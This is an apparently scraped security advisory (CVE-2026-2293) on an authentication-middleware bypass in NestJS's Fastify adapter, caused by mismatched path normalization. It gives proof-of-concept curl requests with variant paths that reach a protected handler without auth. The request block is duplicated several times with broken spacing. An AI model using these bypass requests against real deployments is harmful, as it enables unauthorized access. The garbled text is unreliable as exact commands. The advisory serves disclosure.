A NestJS application using @nestjs/platform-fastify can allow bypass of authentication/authorization middleware when Fastify path-normalization options (e.g., ignoreTrailingSlash, ignoreDuplicateSlashes, useSemicolonDelimiter) are enabled. In affected route-scoped middleware setups, variant paths may skip middleware checks while still reaching the protected handler.
Vulnerability
The bug is a path canonicalization mismatch between middleware matching and route matching in Nest’s Fastify adapter.
Nest passes Fastify routerOptions (such as ignoreTrailingSlash, ignoreDuplicateSlashes, and useSemicolonDelimiter) to the Fastify router in packages/platform-fastify/adapters/fastify-adapter.ts:253.
But middleware execution is decided by a separate regex check over req.originalUrl in packages/platform-fastify/adapters/fastify-adapter.ts:706 and packages/platform-fastify/adapters/fastify-adapter.ts:713.
If that regex does not match, Nest does next() and skips the middleware (packages/platform-fastify/adapters/fastify-adapter.ts:714), while Fastify may still normalize the same path and route it to the protected handler. So the vulnerability exists because security checks (middleware) and request dispatch(router) use different URL interpretations.
This is a fail-open design issue (inconsistent normalization), not just a bad app config: non-default router options make the mismatch reachable.
curl-i http://127.0.0.1:46150/secret/
curl-i http://127.0.0.1:46150//secret
curl-i'http://127.0.0.1:46150/secret;foo=bar'
Expected: 200 OK and JSON body from protected handler.
curl-i http://127.0.0.1:46150/secret/
curl-i http://127.0.0.1:46150//secret
curl-i'http://127.0.0.1:46150/secret;foo=bar'
Expected: 200 OK and JSON body from protected handler.
curl-i http://127.0.0.1:46150/secret/
curl-i http://127.0.0.1:46150//secret
curl-i'http://127.0.0.1:46150/secret;foo=bar'
Expected: 200 OK and JSON body from protected handler.
curl-i http://127.0.0.1:46150/secret/
curl-i http://127.0.0.1:46150//secret
curl-i'http://127.0.0.1:46150/secret;foo=bar'
Expected: 200 OK and JSON body from protected handler.
Control request with an auth header
curl-i-H'x-auth: 1' http://127.0.0.1:46150/secret
Expected: 200 OK
curl-i-H'x-auth: 1' http://127.0.0.1:46150/secret
Expected: 200 OK
curl-i-H'x-auth: 1' http://127.0.0.1:46150/secret
Expected: 200 OK
curl-i-H'x-auth: 1' http://127.0.0.1:46150/secret
Expected: 200 OK
Evidence of Exploitation
Unauthorized
Bypass
PoC
Our security policy
We have reserved the ID CVE-2026-2293 to refer to this issue from now on.